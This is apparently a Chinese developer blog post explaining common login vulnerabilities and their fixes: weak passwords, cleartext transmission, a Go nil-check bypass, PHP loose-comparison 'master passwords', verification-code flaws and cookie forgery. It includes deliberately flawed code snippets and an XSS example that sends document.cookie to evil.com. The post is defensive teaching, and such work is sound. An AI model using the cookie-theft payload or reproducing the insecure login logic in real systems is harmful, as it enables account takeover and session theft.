後端開發都應該瞭解的登入漏洞

會玩code發表於2021-06-03

登入是大部分網站都具備的一個功能,作為使用者使用系統的第一步,如果登陸邏輯設計不合理,容易被攻擊者利用,造成安全問題。

密碼洩漏

弱口令

相信大家都知道弱口令是什麼意思,使用者為了方便,一般會使用123456、admin、passwd、password、123qwe等這些作為自己的常用密碼,方便好記。黑客會對這些人們常用的密碼建立破譯字典,逐個嘗試進行破解。另外,也建議大家不要用生日、手機號、姓名等相關資訊作為密碼,黑客在進行暴力破解前,會先收集使用者的這些相關資訊,錄入破譯字典中。

Have I Been Pwned上可以查到,"123456"這個密碼已經被使用了24,230,577

解決辦法

最直接的解決辦法,當然就是使用者自己設定複雜的密碼了。但是我們也應該從開發的角度提高安全性。

強制提高密碼強度

程式規定密碼強度規則,使用者設定密碼時,判斷密碼的強度是否符合要求,不符合拒絕設定。

限制登陸頻率

暴力破解原理是用破譯欄位裡的密碼不斷嘗試登陸,我們可以程式控制登入頻率,比如1分鐘限制5次嘗試登陸,超過這個次數後,再嘗試登陸需要手機號/郵箱驗證碼。提高暴力破解的難度。

密碼明文傳輸

使用者請求登陸時,將使用者的賬號和密碼通過明文的方式直接傳輸到服務端,黑客利用中間人攻擊等手段,就能容易截獲到使用者的賬號密碼。

解決辦法

客戶端和服務端之間的連線使用https加密傳輸。避免傳輸資料被第三方獲取。

程式碼邏輯漏洞

空密碼登入

密碼輸錯登陸失敗,不輸密碼直接登陸進去了,乍一看不可思議,但確實有這種情況。

func Login(ctx context.Context, userID string, passwdInput *PasswdInfo) (err error) {
	if passwdInput != nil && !passwordChk(userID, passwdInput.password) {
		return errors.New("密碼錯誤")
	}
	// 成功通過
	...
}

大家別笑,真有遇到過這種程式碼, 可能是由於之前出現過passwdInput傳入nil導致程式碼直接panic了,修改時沒注意看邏輯,直接加了一層檢查nil的判斷,導致漏洞的出現。

"萬能密碼" - true

寫PHP的同學肯定都瞭解"=="和"==="的區別。

if($passwdFromDb == $passwdInput)
{
    // 登陸成功
}

上面程式碼,如果passwdInput傳入true,就能校驗通過了。導致"萬能密碼"。所以同學們寫的時候別吝嗇那個"=",說不定能救你一命。

驗證碼漏洞

如今,登陸、修改密碼越來越多都依賴手機/郵箱驗證碼了,有些甚至可以賬號/手機號 + 驗證碼的免密登陸,驗證碼控制不當也會是一個漏洞重災區。

驗證碼暴力破解

當登陸/修改密碼時,服務端向我們手機傳送一個6位的驗證碼。如果服務端沒有對驗證碼做任何限制。攻擊者就能對驗證碼進行暴力嘗試。

處理辦法

  1. 對驗證碼嘗試次數/頻率進行限制
  2. 控制驗證碼的有效期

A的驗證碼,修改B的使用者資訊

A修改使用者資訊時,需要驗證碼校驗。後端將使用者會話token當成key,value為驗證碼,在redis中儲存。校驗時,只通過token校驗驗證碼,不校驗要修改資訊的目標賬號,比如A在修改引數中的userID = B,就會導致修改了B的使用者資訊。造成漏洞。

解決辦法

注意驗證碼與目標賬號身份的匹配。

cookie漏洞

cookie是用於客戶端儲存會話狀態的,使用不加註意容易導致漏洞產生。

使用cookie進行身份驗證

  • 介面通過請求頭中cookie的userID判斷使用者身份。可以直接修改cookie中的userID欄位,偽造成任意其他使用者。
  • 介面通過請求頭中cookie的role欄位判斷使用者許可權,可以直接修改前端cookie中的role欄位,對使用者進行提權。

解決辦法

使用服務端的session儲存使用者資訊,介面進行身份驗證時,可以通過cookie中的sessionID欄位,找到對應session內容,獲取到使用者資訊,再進行後續判斷。

cookie未設定httponly

xss攻擊是一種程式碼注入攻擊,攻擊者在網站上注入惡意程式碼,使之在使用者訪問網站時執行,從而獲取使用者的敏感資訊。 注入惡意程式碼並不需要直接改網站原始碼,比如使用者在一個評論區寫下

<script src=“http://evil.com” + escape(document.cookie)>

而程式沒有對輸入內容進行程式碼字元轉義。其他人開啟評論區時,就會自動執行這段惡意程式碼,將自己的cookie內容傳送到http://evil.com,導致cookie的洩漏。

當使用session儲存使用者資訊時,cookie中存放著sessionID,後端介面根據sessionID對應的session進行使用者身份校驗。如果cookie中的sessionID被攻擊者獲取,即可以偽造受害者身份登陸網站。

處理辦法

開啟cookie的httponly屬性,開啟後,無法通過js指令碼讀取到cookie資訊。可以有效防止xss攻擊竊取cookie內容。

大家還知道其他的什麼登陸漏洞,歡迎分享探討~

寫在最後

喜歡本文的朋友,歡迎關注公眾號「會玩code」,專注大白話分享實用技術

相關文章